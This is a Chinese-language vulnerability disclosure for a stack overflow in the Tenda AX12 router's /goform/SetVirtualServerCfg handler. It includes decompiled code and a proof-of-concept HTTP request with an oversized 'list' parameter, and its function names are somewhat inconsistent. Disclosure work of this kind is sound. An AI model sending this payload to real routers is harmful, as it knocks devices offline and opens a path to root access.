## 概述:

影响设备:Tenda AX12 V1.0 影响固件版本:V22.03.01.46

影响: 拒绝服务攻击, 栈溢出可以进一步获得root shell

固件下载地址: https://www.tenda.com.cn/download/detail-3621.html



## 漏洞:

该漏洞位于 /goform/SetVirtualServerCfg 中对获取的请求参数 list 没有长度限制,最终可以导致堆栈溢出

在 httpd 文件中的 sub\_41DE60 函数中存在目标漏洞函数 sub\_43B1B4

```
sub_40A144((int)"GetDMZCfg", (int)sub_43AD78);

sub_40A144((int)"GetVirtualServerCfg", (int)sub_43B1B4);// vuln

sub_40A144((int)"GetVirtualServerCfg", (int)sub_43B240);

sub_40A144((int)"GetStaticPoutoCfg", (int)sub_43B240);
```

漏洞存在于 sub\_43AF3C 中:

可以看到将请求参数 list 传入变量 v3, 由于并未对变量 v3 做长度限制,下面的 sscanf 函数将以逗号作为分隔将 v3 的值分别传入 v12,v11,v10,v9,而这几个变量只需要一定长度的填充就可以栈溢出,可以轻易的导致拒绝服务攻击,进一步构造exp能够获取shell,漏洞如下图:

## POC:

```
POST /goform/SetVirtualServerCfg HTTP/1.1

Accept: application/json, text/javascript, */*; q=0.01

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Content-Length: 23

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Host: 192.168.122.15

Origin: http://192.168.122.15

Proxy-Connection: keep-alive

Referer: http://192.168.122.15/index.html

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36

X-Requested-With: XMLHttpRequest

list="a"*0x2000
```

## 影响效果:

